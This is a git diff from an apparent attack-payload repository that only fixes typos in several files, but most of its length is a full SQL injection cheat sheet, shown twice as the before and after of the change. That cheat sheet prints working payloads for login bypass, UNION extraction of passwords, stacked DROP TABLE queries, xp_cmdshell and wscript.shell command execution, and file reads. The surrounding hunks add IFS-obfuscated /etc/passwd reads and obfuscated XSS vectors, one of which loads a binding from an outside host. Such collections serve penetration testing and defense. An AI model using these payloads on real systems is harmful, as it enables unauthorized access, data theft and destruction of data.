diff --git a/attack/file-upload/README.md b/attack/file-upload/README.md index b51f13ab..5a26f2c4 100644 --- a/attack/file-upload/README.md +++ b/attack/file-upload/README.md @@ -4,7 +4,7 @@ see: http://cwe.mitre.org/data/definitions/434.html * kinds of file upload verifications: * content-type - * filename extension verificationi (whitelist, blacklist) + * filename extension verification (whitelist, blacklist) * file content checking * client side, ha ha ha diff --git a/attack/http-protocol/hpp.txt b/attack/http-protocol/hpp.txt index 431ff431..e2f16a40 100644 --- a/attack/http-protocol/hpp.txt +++ b/attack/http-protocol/hpp.txt @@ -1,4 +1,4 @@ -# HTTP paramter polution and interpretation payloads by Jacco van Tuijl +# HTTP parameter pollution and interpretation payloads by Jacco van Tuijl ?id=id=1 &id=1?id=2 ?id['&id=1']=2 diff --git a/attack/os-cmd-execution/README.md b/attack/os-cmd-execution/README.md index 8115c9d4..965aa625 100644 --- a/attack/os-cmd-execution/README.md +++ b/attack/os-cmd-execution/README.md @@ -30,14 +30,14 @@ Example IFS netcat backdoor without spaces:
$IFS shell variable:
``` cat$IFS/etc/passwd ```
-increment the first +1 to retreive the entire file, line by line
+increment the first +1 to retrieve the entire file, line by line
``` cat$IFS/etc/passwd|tail$IFS-n+1|head$IFS-n+1 ``` Shell Variables:
``` CMD=$'cat\x20/etc/passwd';$CMD ``` shell variable, increment through file one line at a time:
-increment the first +1 to retreive the entire file, line by line
+increment the first +1 to retrieve the entire file, line by line
``` SP=$'\x20';cat$SP/etc/passwd|tail$SP-n+1|head$SP-n+1 ``` **Exfiltrating Files / Data** diff --git a/attack/sql-injection/exploit/README.md b/attack/sql-injection/exploit/README.md index 7401cb1e..f33323d9 100644 --- a/attack/sql-injection/exploit/README.md +++ b/attack/sql-injection/exploit/README.md @@ -11,7 +11,7 @@ various useful post-exploitation commands **mysql-injection-login-bypass.fuzz.txt** * regex replace as many as you can with your fuzzer for best results: * -* also try to brute force a list of possible usernames, including possile admin acct names +* also try to brute force a list of possible usernames, including possible admin acct names **mysql-read-local-files.fuzz.txt** * mysql local file disclosure through sqli diff --git a/attack/xss/JHADDIX_XSS_WITH_CONTEXT.doc.txt b/attack/xss/JHADDIX_XSS_WITH_CONTEXT.doc.txt index cbe54fd0..081299c0 100644 --- a/attack/xss/JHADDIX_XSS_WITH_CONTEXT.doc.txt +++ b/attack/xss/JHADDIX_XSS_WITH_CONTEXT.doc.txt @@ -427,7 +427,7 @@ Author Name: ha.ckers.org Extraneous Open Brackets Exploit Name: Extraneous Open Brackets Exploit String: < -Exploit Description: (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error. +Exploit Description: (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorithm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to suppress a JavaScript error. Exploit Tags: general, obfuscated Author Name: ha.ckers.org @@ -518,8 +518,8 @@ Exploit Description: HTML entities (the semicolons are required for this to work Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org -HTML Quoute & Comment breaker -Exploit Name: HTML Quoute & Comment breaker +HTML Quote & Comment breaker +Exploit Name: HTML Quote & Comment breaker Exploit String: '';!--"=&{(alert(1))} Exploit Description: This vector breaks HTML quotes and comments. Exploit Tags: general, html breaking, comment breaking @@ -547,7 +547,7 @@ Author Name: .mario IE closing-tag expression injection Exploit Name: IE closing-tag expression injection Exploit String: -Exploit Description: This vector exploits a bug in IE whre attributes in closing comments are evaluated. +Exploit Description: This vector exploits a bug in IE where attributes in closing comments are evaluated. Exploit Tags: general, injection, internet explorer Author Name: .mario @@ -581,7 +581,7 @@ Exploit String: a= document.write(unescape(a..b)) -Exploit Description: This vector writes an erroneous image tag with onerror hanlder inside an E4X construct into the document context. +Exploit Description: This vector writes an erroneous image tag with onerror handler inside an E4X construct into the document context. Exploit Tags: general, obfuscated, gecko, XML predicates, evil tags Author Name: .mario @@ -865,7 +865,7 @@ Author Name: ha.ckers.org Mozilla -moz-binding-url injection Exploit Name: Mozilla -moz-binding-url injection Exploit String: style=-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a=" -Exploit Description: The vector incudes a binding file via injected style attrbute. Gecko only. +Exploit Description: The vector incudes a binding file via injected style attribute. Gecko only. Exploit Tags: general, injection, gecko, style injection, XBL Author Name: .mario @@ -876,8 +876,8 @@ Exploit Description: This vector was once used on a major site to evade a stripp Exploit Tags: general, injection, gecko, style injection, XBL Author Name: PHPIDS Group -Multiline selfcontained XSS -Exploit Name: Multiline selfcontained XSS +Multiline self-contained XSS +Exploit Name: Multiline self-contained XSS Exploit String: _ = eval @@ -1274,7 +1274,7 @@ Author Name: PHPIDS Group Self-contained XSS variant 2 Exploit Name: Self-contained XSS variant 2 Exploit String: a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n.h'+'ash.sub'||0;b+=0||'str(1)';c=b[a];c(c(b)) -Exploit Description: Concatenates fragmented functions to evakuate the location hash +Exploit Description: Concatenates fragmented functions to evaluate the location hash Exploit Tags: general, self contained Author Name: PHPIDS Group @@ -1366,7 +1366,7 @@ content: “\61\6c\65\72\74\28\31\29″ eval(eval(document.styleSheets[0].cssRules[0].style.content)) Exploit Description: This vector utilizes the CSS content property and fetches it off the document.styleSheets property afterwards. For correct execution of the payload a double-eval is needed. -Exploit Tags: general, onfuscated, style injection +Exploit Tags: general, obfuscated, style injection Author Name: .mario STYLE w/Anonymous HTML diff --git a/discovery/WebSocket/WebSocket-subprotocols.txt b/discovery/WebSocket/WebSocket-subprotocols.txt index b13f84cc..63e0815b 100644 --- a/discovery/WebSocket/WebSocket-subprotocols.txt +++ b/discovery/WebSocket/WebSocket-subprotocols.txt @@ -1,12 +1,12 @@ # this list can be used to enumerate supported Web Socket sub protocols of a web socket server -# It conyains the official IANA registerd Web Socket sub protocols +# It contains the official IANA registered Web Socket sub protocols # Source: https://www.iana.org/assignments/websocket/websocket.xml # Example subprotocol request header: # Sec-WebSocket-Protocol: mqtt, wamp # The Web Socket client can include a list of the protocols when making the initial HTTP request. # The server is then required to either select one of those protocols and include it in a response header. # If none of the sub protocols send by the client are supported by the server, -# the server shoud fail the handshake and terminate the connection. +# the server should fail the handshake and terminate the connection. MBWS.huawei.com MBLWS.huawei.com soap diff --git a/docs/attack-docs/sqli/docs.sql_injection_cheatsheet.html b/docs/attack-docs/sqli/docs.sql_injection_cheatsheet.html index bedb8f58..cef040b4 100644 --- a/docs/attack-docs/sqli/docs.sql_injection_cheatsheet.html +++ b/docs/attack-docs/sqli/docs.sql_injection_cheatsheet.html @@ -43,7 +43,7 @@

SQL Injection Cheat Sheet

sql injection, security, web application security, web uygulamasi guvenligi, english, 15.03.2007 -

 

Find and exploit SQL Injections with Netsparker, Next Generation Web Application Security Scanner

 

SQL Injection Cheat Sheet, Document Version 1.4

About SQL Injection Cheat Sheet

Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.

Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;
  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

  1. About SQL Injection Cheat Sheet
  2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
    1. Line Comments
    2. Inline Comments
    3. Stacking Queries
    4. If Statements
    5. Using Integers
    6. String  Operations
    7. Strings without Quotes
    8. String Modification & Related
    9. Union Injections
    10. Bypassing Login Screens
    11. Enabling xp_cmdshell in SQL Server 2005
    12. Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

  • -- (SM)
    DROP sampletable;--

  • # (M)
    DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin'--
  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)
    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members

  • /*! MYSQL Special SQL */ (M)
    This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

    SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /*
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --

  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw an divison by 0 error if MySQL version is higher than 3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!32302 10*/
  • ID: 10
    You will get the same response if MySQL version is higher than 3.23.02

  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw an divison by 0 error if MySQL version is higher than 3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S)
    SELECT * FROM members; DROP members--

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

  SQL Server MySQL PostgreSQL ORACLE MS Access
ASP          
ASP.NET          
PHP          
Java          

 

About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples
  • ID: 10;DROP members --
  • SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

  • IF(condition,true-part,false-part) (M)
    SELECT IF(1=1,'true','false')

SQL Server If Statement

  • IF condition true-part ELSE false-part (S)
    IF (1=1) SELECT 'true' ELSE SELECT 'false'
If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

  • 0xHEXNUMBER (SM)
    You can  write hex like these;

    SELECT CHAR(0x66) (S)
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String  Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

  • + (S)
    SELECT login + '-' + password FROM members

  • || (*MO)
    SELECT login || '-' || password FROM members

*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.

  • CONCAT(str1, str2, str3, ...) (M)
    Concatenate supplied strings.
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

  • 0x457578 (M) - Hex Representation of string
    SELECT 0x457578
    This will be selected as string in MySQL.

    In MySQL easy way to generate hex representations of strings use this;
    SELECT CONCAT('0x',HEX('c:\\boot.ini'))

  • Using CONCAT() in MySQL
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
    This will return ‘KLM’.

  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
    This will return ‘KLM’.

Hex based SQL Injection Samples

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
    This will show the content of c:\boot.ini

String Modification & Related

  • ASCII() (SMP)
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.

    SELECT ASCII('a')

  • CHAR() (SM)
    Convert an integer of ASCII.

    SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

  • SQL Server (S)
    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.

    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

  • MySQL (M)
    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks
  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • ....
  • Login as different user (SM*)
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

 

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)

In the same order,

  • ' HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
  • If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1--
  • ORDER BY 2--
  • ORDER BY N-- so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

  • Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
    • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

  • ' union select sum(columntofind) from users-- (S)
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.


    If you are not getting error it means column is numeric.

  • Also you can use CAST() or CONVERT()
    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--

  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
    No Error - Syntax is right. MS SQL Server Used. Proceeding.

  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
    No Error – First column is an integer.

  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
    Error! – Second column is not an integer.

  • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
    No Error – Second column is a string.

  • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
    Error! – Third column is not an integer. ...

    Microsoft OLE DB Provider for SQL Server error '80040e07'
    Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

    1. Create table foo( line varchar(8000) )
    2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
    3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping '

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

  • Error Messages
    master..sysmessages

  • Linked Servers
    master..sysservers

  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
    SQL Server 2000: masters..sysxlogins
    SQL Server 2005 : sys.sql_logins

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell)
    exec master..xp_cmdshell 'dir'

  2. Registry Stuff (xp_regread)
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want)
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL) 
IS_SRVROLEMEMBER (Transact-SQL) 
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
+

 

Find and exploit SQL Injections with Netsparker, Next Generation Web Application Security Scanner

 

SQL Injection Cheat Sheet, Document Version 1.4

About SQL Injection Cheat Sheet

Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.

Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;
  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

  1. About SQL Injection Cheat Sheet
  2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
    1. Line Comments
    2. Inline Comments
    3. Stacking Queries
    4. If Statements
    5. Using Integers
    6. String  Operations
    7. Strings without Quotes
    8. String Modification & Related
    9. Union Injections
    10. Bypassing Login Screens
    11. Enabling xp_cmdshell in SQL Server 2005
    12. Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

  • -- (SM)
    DROP sampletable;--

  • # (M)
    DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin'--
  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)
    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members

  • /*! MYSQL Special SQL */ (M)
    This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

    SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /*
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --

  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw an division by 0 error if MySQL version is higher than 3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!32302 10*/
  • ID: 10
    You will get the same response if MySQL version is higher than 3.23.02

  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw an division by 0 error if MySQL version is higher than 3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S)
    SELECT * FROM members; DROP members--

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

  SQL Server MySQL PostgreSQL ORACLE MS Access
ASP          
ASP.NET          
PHP          
Java          

 

About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples
  • ID: 10;DROP members --
  • SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

  • IF(condition,true-part,false-part) (M)
    SELECT IF(1=1,'true','false')

SQL Server If Statement

  • IF condition true-part ELSE false-part (S)
    IF (1=1) SELECT 'true' ELSE SELECT 'false'
If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

  • 0xHEXNUMBER (SM)
    You can  write hex like these;

    SELECT CHAR(0x66) (S)
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String  Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

  • + (S)
    SELECT login + '-' + password FROM members

  • || (*MO)
    SELECT login || '-' || password FROM members

*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.

  • CONCAT(str1, str2, str3, ...) (M)
    Concatenate supplied strings.
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

  • 0x457578 (M) - Hex Representation of string
    SELECT 0x457578
    This will be selected as string in MySQL.

    In MySQL easy way to generate hex representations of strings use this;
    SELECT CONCAT('0x',HEX('c:\\boot.ini'))

  • Using CONCAT() in MySQL
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
    This will return ‘KLM’.

  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
    This will return ‘KLM’.

Hex based SQL Injection Samples

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
    This will show the content of c:\boot.ini

String Modification & Related

  • ASCII() (SMP)
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.

    SELECT ASCII('a')

  • CHAR() (SM)
    Convert an integer of ASCII.

    SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

  • SQL Server (S)
    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.

    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

  • MySQL (M)
    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks
  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • ....
  • Login as different user (SM*)
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

 

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)

In the same order,

  • ' HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
  • If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1--
  • ORDER BY 2--
  • ORDER BY N-- so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

  • Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
    • Be careful in Blind situations may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

  • ' union select sum(columntofind) from users-- (S)
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.


    If you are not getting error it means column is numeric.

  • Also you can use CAST() or CONVERT()
    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--

  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
    No Error - Syntax is right. MS SQL Server Used. Proceeding.

  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
    No Error – First column is an integer.

  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
    Error! – Second column is not an integer.

  • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
    No Error – Second column is a string.

  • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
    Error! – Third column is not an integer. ...

    Microsoft OLE DB Provider for SQL Server error '80040e07'
    Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

